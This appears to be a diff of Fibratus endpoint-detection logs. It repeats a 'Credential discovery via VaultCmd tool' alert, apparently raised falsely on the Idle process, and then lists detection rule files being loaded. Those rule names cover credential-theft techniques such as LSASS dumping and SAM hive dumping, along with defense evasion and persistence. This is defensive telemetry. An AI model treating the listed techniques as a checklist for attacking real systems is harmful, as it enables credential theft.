Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:29+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:29+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:34+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:34+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:34+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:34+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:34+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:34+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:39+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:39+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:39+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:44+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:44+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:49+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1513643 + Pid: 0 + Tid: 22232 + Type: MapViewFile + CPU: 2 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:12:59.1266686 +0100 CET + Params: file_key➜ ffff808cbe202080, offset➜ 0, pid➜ 0, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 1e81df80000, view_size➜ 131072 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.id: TA0006, tactic.name: Credential Access, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, technique.name: Credentials from Password Stores, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, technique.id: T1555 + + Pid: 0 + Ppid: 0 + Name: Idle + Cmdline: + Exe: Idle + Cwd: + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [] + Session ID: 4294967295 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:15:57+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T23:15:57+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:15:57+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:18:48+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-03T23:18:48+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from 